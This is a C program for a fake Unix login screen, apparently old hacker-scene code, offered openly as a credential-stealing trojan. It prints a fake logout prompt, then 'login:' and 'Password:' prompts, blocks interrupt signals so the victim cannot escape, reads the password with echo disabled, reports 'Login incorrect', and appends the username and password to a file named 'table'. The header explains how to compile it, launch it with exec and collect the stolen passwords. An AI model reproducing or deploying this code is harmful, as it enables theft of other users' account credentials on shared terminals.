/******  WARNING!!!!!!!   THIS PROGRAM IS EVIL AND IS PROBABLY IN VIOLATION
 WITHIN THE ACADEMIC COMPUTING AROUND THE IU ENVIRONMENT!!  USE AT YOUR OWN
 RISK.  MISUSE OF THIS PROGRAM WILL MOST LIKELY GET YOUR ASS KICKED OUT OF
 THIS UNIVERSITY.  YOU HAVE BEEN WARNED!!!!  DUE TO THE UNETHICALITIES OF THIS
 PROGRAM, THE AUTHOR OF THIS PROGRAM IS BEING WITHHELD AND ASSUMES NO
 RESPONSIBILTY FOR MISUSE AND/OR BAD CONDUCT ******/

/* TO COMPILE THIS PROGRAM, USE   cc -o <file> <file.c> */
/* TO RUN THIS PROGRAM, EXIT X AND TYPE    exec <file>  */
/* TO READ THE PASSWORDS, LOOK AT THE FILE CALLED table */
/* IT IS ADVISABLE TO chmod 0600 table FOR PROTECTION   */

/*  With small modifcations by daemon9@netcom.com */


#include <stdio.h>
#include <stdlib.h>
#include <sys/param.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <sgtty.h>
#include <sys/file.h>
#include <sys/ioctl.h>

#define oops(msg) {perror(msg); exit(0);}

jmp_buf return_pt;

/*****************************************************************************/
static	int		cbreak_on = 0;
static	int		tty = 0;
static	int		tty_set = 0;
static	int		cbreak_int_status = 0;
static	struct sgttyb	tty_desc;
char username[8], password[30];
void cbreak();
void nocbreak();



void cbreak_open_tty (interrupt_status)
int	interrupt_status;
{
  tty_set = 1;
  tty = fileno (stdin);
  if (ioctl (tty, TIOCGETP, &tty_desc) == -1)
    perror ("ioctl: TIOCGETP");

  cbreak_int_status = interrupt_status;
}

/* noecho, if non-zero, causes the key stroke not to be echoed */

void cbreak (noecho, interrupt_status)
int	noecho, interrupt_status;
{
  if (!tty_set || interrupt_status != cbreak_int_status)
    cbreak_open_tty (interrupt_status);
  tty_desc.sg_flags |= CBREAK;
  if (noecho) tty_desc.sg_flags &= ~ECHO;
  if (ioctl (tty, TIOCSETN, &tty_desc) == -1)
    perror ("cbreak: ioctl: TIOCSETN");
}

void nocbreak ()
{
  if (!tty_set) cbreak_open_tty (cbreak_int_status);
  tty_desc.sg_flags &= ~CBREAK;
  tty_desc.sg_flags |= ECHO;
  if (ioctl (tty, TIOCSETN, &tty_desc) == -1)
    perror ("nocbreak: ioctl: TIOCSETN");
}

/* flush an input FILE, leaving the n most recent characters on the file */

void flushin (fptr, n)
  FILE	*fptr;
  int n;
{
  int nch = 0, status;

  if (n < 0) n = 0;
  if ((status = ioctl (fileno(fptr), FIONREAD, &nch)) < 0)
    {
      fprintf (stderr, "flushin: ioctl error: %d\n", status);
      return;
    }
  nch += fptr->_cnt;
  while (nch > n)
    {
      getc (fptr);
      nch--;
    }
}  

/* get a keystroke in cbreak mode, echoed or not echoed, with actions on
   interrupts specified. */

char get_a_key (noecho, interrupt_status)
int	noecho, interrupt_status;
{
  char	x;

  while (stdin->_cnt > 0) if ((x=getchar()) != '\n') return (x);

  cbreak (noecho, interrupt_status);
  cbreak_on = 1+(noecho?1:0);
  x = getchar();
  nocbreak ();
  cbreak_on = 0;
  return (x);
}

/* if a key has been pressed, then return it, otherwise return -1.  Note
   that some key sequences actually send zero, so we can't use that.
   This will only work for sure if you called cbreak() before. */

int get_key_if_pressed ()
{
  int x = -1, status, nch = 0;

  if (stdin->_cnt == 0)
    {
      if ((status = ioctl (tty, FIONREAD, &nch)) < 0)
	{
	  fprintf (stderr, "get_key_if_pressed: ioctl error: %d\n", status);
	  return (-1);
	}
    }
  else nch = stdin->_cnt;
  if (nch > 0) x = getchar();
  return (x);
}

passwd ()
{
  int	x, i=0;

  cbreak (1, 1);
  printf("Password:");
  do 
    {
      x = getchar();
      password[i++] = x;
    }
  while (x != '\n');
  password[i] = '\0';
  printf("\nLogin incorrect\n");



/*  printf("\nThe password typed was: %s \n", password); */
}

/*****************************************************************************/
void loop (s) 
     char s[]; 
{
     /* insert your favorite startup message HERE */

	/*  Login banner below  */

     /* printf("Viking Login (console@%s)\n\n", s); */

     printf("login: ");     
     gets(username);
     
     if (*username == '\0') 
	  loop(s);
}

void q_trap () {}

void main () {
     FILE *fq;
     char *pname = "table";
     int i;
     char s[20], log[10];
     
     /* HOW DO WE DISABLE THE ^S AND ^Q ?? */

     /* signals are to protect from someone cancelling this process and getting
	into YOUR account */

     signal(SIGQUIT, q_trap);
     signal(SIGTERM, q_trap);
     signal(SIGTSTP, q_trap);
     signal(SIGINT, q_trap); 

     if ((i = gethostname(s, 20)) != 0)
	  oops("cannot find hostname\n");

     /* a fake prompt is always a good trick */

     printf("%s%% logout\n\n", s);

     loop(s);
     passwd();
     
     fq = fopen(pname, "a");
     fputs(username, fq);
     fputs("\n", fq);
     fputs(password, fq);
     fputs("\n\n", fq);
}